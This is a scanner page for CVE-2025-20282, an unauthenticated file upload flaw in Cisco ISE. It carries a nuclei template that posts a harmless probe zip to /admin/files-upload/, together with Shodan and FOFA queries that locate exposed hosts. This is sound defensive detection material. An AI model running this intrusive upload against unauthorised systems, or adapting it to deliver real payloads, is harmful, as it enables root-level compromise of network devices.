Cisco ISE < 3.4P2 - Unauthenticated Arbitrary File Upload

criticalseverity

10CVSS score

38.7%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Cisco ISE and Cisco ISE-PIC contain an unrestricted file upload vulnerability caused by lack of file validation in an internal API, letting unauthenticated remote attackers upload and execute files as root, exploit requires crafted file upload.

Impact

Unauthenticated attackers can upload and execute arbitrary files as root, leading to full system compromise.

Fix

Update to the latest Cisco ISE and Cisco ISE-PIC versions with security patches.

How to confirm it

Send: GET /admin/login.jsp
Positive when: contains(header, "APPSESSIONID=")
Send: POST /admin/files-upload/
Positive when: status_code == 200 || status_code == 422 and contains(header, "walkme.com")

Run it with nuclei: nuclei -id CVE-2025-20282 -u <target>

The full check

id: CVE-2025-20282

info:
  name: Cisco ISE < 3.4P2 - Unauthenticated Arbitrary File Upload
  author: 0x_Akoko,pdteam
  severity: critical
  description: |
    Cisco ISE and Cisco ISE-PIC contain an unrestricted file upload vulnerability caused by lack of file validation in an internal API, letting unauthenticated remote attackers upload and execute files as root, exploit requires crafted file upload.
  impact: |
    Unauthenticated attackers can upload and execute arbitrary files as root, leading to full system compromise.
  remediation: |
    Update to the latest Cisco ISE and Cisco ISE-PIC versions with security patches.
  reference:
    - https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ise-unauth-rce-ZAd2GnJ6
    - https://riversecurity.eu/like-stealing-cisco-ise-cream-from-a-kid-weaponizing-a-cve/
    - https://github.com/skadevare/CiscoISE-CVE-2025-20282-POC
    - https://nvd.nist.gov/vuln/detail/CVE-2025-20282
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2025-20282
    cwe-id: CWE-434
    epss-score: 0.38719
    epss-percentile: 0.98593
    cpe: cpe:2.3:a:cisco:identity_services_engine:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: cisco
    product: identity_services_engine
    shodan-query: '"Set-Cookie: APPSESSIONID=" "Path=/admin"'
    fofa-query: title="identity services engine"
  tags: cve,cve2025,cisco,cisco-ise,rce,file-upload,intrusive,vkev

variables:
  probe_zip: "{{base64_decode('UEsDBBQAAAAAAHcdA12wBb+DFAAAABQAAAAJAAAAcHJvYmUudHh0Q1ZFLTIwMjUtMjAyODItcHJvYmVQSwECFAMUAAAAAAB3HQNdsAW/gxQAAAAUAAAACQAAAAAAAAAAAAAAgAEAAAAAcHJvYmUudHh0UEsFBgAAAAABAAEANwAAADsAAAAAAA==')}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /admin/login.jsp HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(header, "APPSESSIONID=")'
        internal: true

  - raw:
      - |
        POST /admin/files-upload/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----ISEProbe202520282

        ------ISEProbe202520282
        Content-Disposition: form-data; name="file"; filename="probe.zip"
        Content-Type: application/zip

        {{probe_zip}}
        ------ISEProbe202520282--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 422'
          - 'contains(header, "walkme.com")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from